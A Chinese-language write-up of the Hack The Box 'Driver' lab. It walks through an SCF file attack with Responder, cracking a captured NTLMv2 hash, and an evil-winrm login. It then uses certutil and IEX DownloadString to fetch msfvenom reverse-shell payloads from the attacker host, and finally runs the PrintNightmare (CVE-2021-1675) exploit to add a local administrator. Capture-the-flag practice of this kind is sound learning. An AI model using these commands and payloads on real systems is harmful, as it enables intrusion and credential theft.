目标:10.10.11.106
首先端口扫描
rustscan -b 500 -a 10.10.11.106
开放了445端口,尝试利用smbclient进行匿名连接
smbclient -L 10.10.11.106
接着使用部分弱口令进行尝试,失败
smbclient -L 10.10.11.106 -U admin%password
接着访问80端口,利用admin/admin成功进入,经过翻阅,找打一处文件上传
尝试上传shell,不过没有上传后的地址,放弃这个办法,此时仔细看看这句英文,大概意思就是会上传到一个文件共享目录
所以便可以尝试利用smb下的SCF File Attacks
参考:https://pentestlab.blog/2017/12/13/smb-share-scf-file-attacks/
首先本地写上scf文件
[Shell]
Command=2
IconFile=\\10.10.16.11\share\pentestlab.ico
[Taskbar]
Command=ToggleDesktop
接着kali设置reponse
responder -wrf -I tun0
等待受害者浏览共享文件时本地会接收到hash
tony::DRIVER:461fbfd7a35f9cb6:A3F711C5FE41B0EBED75AC1B3ABEA8C5:010100000000000080A2438866DBD70138ACB8F116FA712D00000000020008004E0046004400510001001E00570049004E002D00450046004E005500510054004B004D00460059004C0004003400570049004E002D00450046004E005500510054004B004D00460059004C002E004E004600440051002E004C004F00430041004C00030014004E004600440051002E004C004F00430041004C00050014004E004600440051002E004C004F00430041004C000700080080A2438866DBD7010600040002000000080030003000000000000000000000000020000095B7C01109A64478769C0BE0C98A7A5CCD0E0D050E2D6221B2AE94288E600F060A001000000000000000000000000000000000000900200063006900660073002F00310030002E00310030002E00310036002E0031003100000000000000000000000000
这里顺带提一下ntlm v2的格式是:
username::domain:server challenge:HMAC:NTLMv2 Response 去除HMAC的剩下部分
接下来使用hashcat进行解密
hashcat -a 0 -m 5600 hash /usr/share/wordlists/rockyou.txt -o password.txt
解密成功,获取密码为liltony
这里需要get一个新知识点,winrm
参考:https://pentestlab.blog/2018/05/15/lateral-movement-winrm/
由于端口扫描发现winrm 5985端口开放,则使用evil-winrm 进行尝试
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-9DZWpxd6-1637162229188)(https://s3-us-west-2.amazonaws.com/secure.notion-static.com/381ebd58-4e61-4b8b-8424-226ba19f4783/Untitled.png)]
下一步便是提权了,这里首先尝试msf上线吗,但是现在问题是如何将文件下载,经过百度,此时发现了新大陆,certutil.exe
这是Windows 操作系统上预装的工具,可用于 校验文件MD5、SHA1、SHA256,下载恶意文件和免杀。
我们可以使用
certutil.exe -urlcache -f url 进行下载文件
本地生成木马文件test.exe后,利用python启动临时http服务来提供下载
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.16.11 LPORT=7777 -f exe -o test.exe
python3 -m http.server
接着目标主机执行
certutil.exe -urlcache -f http://10.10.16.11:8000/test.exe test.exe
执行木马程序后可以看到msf已经上线
尝试getsystem失败,尝试令牌窃取等方式同样失败
接下来就得考虑其他方式提权了
看到网站80大概率是一个打印机服务,首先看看具体是什么
正好此时通过搜索找到今年一个新的打印机(print spooler)漏洞CVE-2021-1675
exp地址:
exp1(python版本):https://github.com/cube0x0/CVE-2021-1675
exp2(ps1版本): https://github.com/calebstewart/CVE-2021-1675
最开始利用python版本进行攻击,流程如下,首先根据其提示更换impacket
然后再攻击机上设置smb配置
然后攻击机上tmp目录下生成payload并开启smb
msfvenom -p windows/shell/reverse_tcp lhost=10.10.16.11 lport=7777 -f dll > carl.dll
接着使用exp并监听777端口
python3 CVE-2021-1675.py driver/tony:liltony@10.10.11.106 "\\10.10.16.11\tmp\vonom.dll"
很遗憾出现了如下错误,已经在github上提交了issue,等大佬帮忙解答吧
那么便使用第二个powershell脚本exp吧,老样子本地开始http服务,evil-winrm上,也就是受害主机上执行
IEX(New-Object Net.WebClient).DownloadString('http://10.10.16.11:8000/CVE-2021-1675.p s1')
由于通过evil-winrm获取的是powershell,所以使用上述命令直接远程执行脚本(这里尝试过先把脚本下载到受害机器上执行,但是失败了)
远程执行powershell脚本后通过exp的攻击代码添加用户名为carl,密码123的本地管理员账户
Invoke-Nightmare -NewUser "carl" -NewPassword "123"
最后用evil-winrm使用新账户登录即可获取权限
最后和刚接触hackthebox的同学说下关于连接hackthebox的靶机网络问题我是怎么解决的,首先在htb上下载vpn配置,我放到了我的虚拟机kali中运行,这是为了方便反弹shell等功能,接着使用ssh 进行socks5代理转发使我的物理机也能访问靶机,命令为
ssh -D 7777 carl@192.168.31.128 -N
这条命令的意思便是当我访问本地7777端口时,请求流量会转到我的kali虚拟机192.168.31.128上,我的kali上运行着靶机vpn,那么便实现了流量转发,如果有师傅有更好的解决物理机和虚拟机共同访问vpn的问题,欢迎分享。